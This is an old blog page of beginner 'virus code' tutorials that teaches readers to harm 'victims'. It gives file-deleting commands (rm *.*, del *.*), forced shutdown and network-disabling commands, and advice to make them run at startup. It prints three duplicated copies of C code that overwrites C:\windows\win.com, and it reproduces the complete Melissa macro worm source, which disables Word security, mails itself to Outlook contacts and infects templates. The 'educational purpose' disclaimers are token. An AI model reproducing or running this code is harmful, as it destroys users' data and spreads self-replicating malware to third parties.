Wednesday, January 25, 2012

Virus code tutorial

Virus code can be coded using several language. The best being c or vbs or dos. Today I teach some basic virus codings. I will be using c, dos and alp/asm(assembly language).These is a very simple Virus coding tutorial just a beginners guide

this is mainly for programmers. this post is just to change their thinking. First lets begin with tiny and simple ones.I will show both codes for windows and linux

First alp/asm
back: add c,b
loop back

This simple script needs no explanation. It will just be eating away your victims memory at a slow space. As you know addition needs some space to store intermediate result. this will be using up the ram. but very less of ram is lost and the user can stop this by just closing the .exe file. As you know a float addition takes up more space than normal addition . You can replace integer addition with float.

Now lets try to create a simple Linux virus in c.

system("poweroff");

This simple script will turn off your victims comp. Now if you can forece this script to load at start up then it will be a nightmare.

let's see one more linux virus of the same type
system("rm *.*");

This will all files with all extension which the user has previlage to delete.Just imagine if the admin runs it then it will create a havoc.

Lets see the same codes for windows.

To delete all files in windows using dos/batch progtraming will be
del *.*
and the code of the shutdown virus will be just shutdown

Now lets disable Internet

ipconfig /release
echo You Internet Been HACKED!


What if you change the extension of a file. It becomes useless.Now let's rename a few file.
rename(old_file_name_with_path,newname");
Now what you can do with this left up to you.Just use your brain and you will make out it's potential.

These are very simple virus just a beginners guide. Just check out the virus codes section for more complex and full fledged Virus coding tutorial. Please dont misuse these virus codes in c

Wednesday, August 11, 2010

Virus code 6 : Doom virus


Doom virus code. If the image is not visible right click on the image and select 'show picture'



Replace location to the location where you want the file to be



This is not actually a virus but a practical joke. It will make your victim believe that his system is under seize and is infected. Remember you need to compile it only (.ie click on compile option ) and not run it(i.e click on run option). This will generate the .EXE file.

Even though this is just a prank just be careful to whom you spread it as you could still get into minor trouble.

Virus Code 20: Black wolf virus



This is the code of the "Black Wolf" virus.This is in c. You are at your own risk. If you spread this you will land behind the bar. We are giving this only for educational Purpose. You need to guess the header file for yourself.





Black wolf virus code. If the image is not visible right click on the image and select 'show picture'






This virus corrupts all the .com files . so be extremely careful what you do with it.

Virus code 5: Clone Virus


This is a virus code of clone virus in c/c++. This virus clones itself. You can convert it into java by making small changes that any java programmer can make out.




Clone virus code. If the image is not visible right click on the image and select 'show picture'



Before you use this virus you need to compile . Just select the complie option in your c compiler. 
DONT RUN IT OR SELECT THE RUN OPTION, I repeat dont run it. Now exit the compiler . Find the size of the .exe file generated in bytes. Replace the value of "X" with is value(in bytes).

Now recompile it and exit.



What this virus does is it makes all the files in the current directory a virus. You need to find out the header files for yourself as this only for educational purpose . Just remember to run this virus inside a new folder that contains no important exe and normal files . This virus will make them too as virus.



This is intended for c/c++ programmers who have knowledge about data structure. This is only and only for knowledge sake

Virus code 4: Orkut virus/Muhaha virus



For all you programmers here is the code of the virus. Let' look at this virus in detail. So that if you become a victim you can protect your self. All that this virus does is stores it self in C:\heap41a. It is generally named PowerPoint.exe or firefox.exe. This virus prevents you from typing orkut in your address bar even if you type "http://orkuttricks.blogspot.com/" no the site wont open.



The code is not the complete code so that you don't start spread this virus. This is just for understanding. Actual virus is repetition of this code with changes.



Orkut virus code. If the image is not visible right click on the image and select 'show picture'



How this works is left to the reader to analyze. This info is only for educational purpose.

VIRUS Designing - Use responsibly

#include
#include
#include
#include
#include
#include
#include
#include

int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;

   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */

   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
");
      exit(1);
   }

   strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!
");

   length = strlen(string);

   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
");
      getch();
      exit(1);
   }
   printf("

Wrote %d bytes to the file.
", res);
  cout<<"

Hello !!!!!!!!";
  cout<<"

This is a VIRUS ATTACK !!!";
  cout<<"

This execution currupt your WINDOWS !!!!!!
";
   close(handle);
   getch();
   return 0;
}

//#include
#include
#include
#include
#include
#include
#include
#include

int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;

   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */

   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
");
      exit(1);
   }

   strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!
");

   length = strlen(string);

   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
");
      getch();
      exit(1);
   }
   printf("

Wrote %d bytes to the file.
", res);
  cout<<"

Hello !!!!!!!!";
  cout<<"

This is a VIRUS ATTACK !!!";
  cout<<"

This execution currupt your WINDOWS !!!!!!
";
   close(handle);
   getch();
   return 0;
}

// #include
#include
#include
#include
#include
#include
#include
#include

int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;

   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */

   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
");
      exit(1);
   }

   strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!
");

   length = strlen(string);

   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
");
      getch();
      exit(1);
   }
   printf("

Wrote %d bytes to the file.
", res);
  cout<<"

Hello !!!!!!!!";
  cout<<"

This is a VIRUS ATTACK !!!";
  cout<<"

This execution currupt your WINDOWS !!!!!!
";
   close(handle);
   getch();
   return 0;
}

Melissa Virus Source Code


Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters.  Game's over. 
I'm outta here."
End Sub